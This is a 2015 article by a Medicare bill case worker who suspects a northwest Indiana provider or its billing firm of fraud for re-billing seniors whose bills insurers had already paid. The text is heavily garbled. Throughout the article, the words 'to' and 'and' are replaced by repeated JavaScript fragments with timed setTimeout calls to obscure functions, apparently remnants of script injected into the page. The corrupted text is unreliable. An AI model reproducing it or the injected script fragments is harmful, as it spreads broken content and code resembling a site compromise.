ISN’T THIS FRAUD?

For years, I have helped dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to protect the senior citizen clients of this insurance agency from financial harm due dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to mistakes in the Medicare system. People make mistakes. I just investigate the medical bill problems of our clients dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and expose the mistakes that others make dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and ask them dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to correct those mistakes. By doing this, I have saved our clients over one million dollars.

But, in the last full week of June 2015, I noticed a pattern with one significant medical service provider in northwest Indiana dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the medical billing firm in Indianapolis that it used. It did not seem like a “mistake” pattern but a “fraud” pattern. Here are some details.

In the same week, two of our senior citizen clients forwarded medical bills dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to me dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to review for them. One client was from Griffith dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the other client was from East Chicago in Indiana. In each case, the recent bill had been paid months ago by the client’s Medicare supplement insurance company. The dates pattern between the bill dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the prior payment was dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too far apart dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to consider it just a case of a crossing of payment dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and bill in the mail. It was a definite pattern of an insurance company paying the senior citizen’s medical bill, but the payment not being credited dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the senior being billed despite the prior payment. Isn’t this fraud?

On average, these bills were about $100. If a medical billing service company is collecting money from insurance companies but not crediting the senior citizens’ bills properly dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and accurately, then the senior citizens are being robbed, right? The seniors are being tricked indom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to paying medical bills that were already paid by their insurance companies. This seemed dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to me like a very clever way of siphoning money from insurance companies dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and seniors. If other seniors are just paying the bills without questioning them, then many seniors are paying bills that they don’t owe. Without the help of someone like me who knows how dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to investigate seniors’ medical bills, the bookkeeping trick would not be found because both the insurance company dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the senior paid a bill dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and neither knew that the bill was paid by the other. It could be a scam that collects millions of dollars per year wrongfully.

I could not determine if the bad bookkeeping of the accounts was the fault of the medical service provider or the medical billing firm. So, in my letter dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the billing service dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the medical service provider, I citied the fact that the bill had been paid months before the bill was sent dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the client. I cited the check or transaction numbers of the payments dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the dates of the payments. Then, I finished the letter with the following paragraph.

“Finally, if your billing service failed dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to keep accurate records on this account, how many other accounts were misreported as this one was? Also, if your firm did not get the money that was paid on patient accounts by insurance companies, who got that money?”

Note: Woodrow Wilcox is the senior medical bill case worker at Senior Care Insurance Services in Merrillville, Indiana. He has saved clients of that firm over one million dollars by correcting errors dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and mistakes in the Medicare system. He wrote the book SOLVING MEDICARE PROBLEM$ (www.solvingmedicareproblems.com).

© 2015 Woodrow Wilcox

www.WoodrowWilcox.com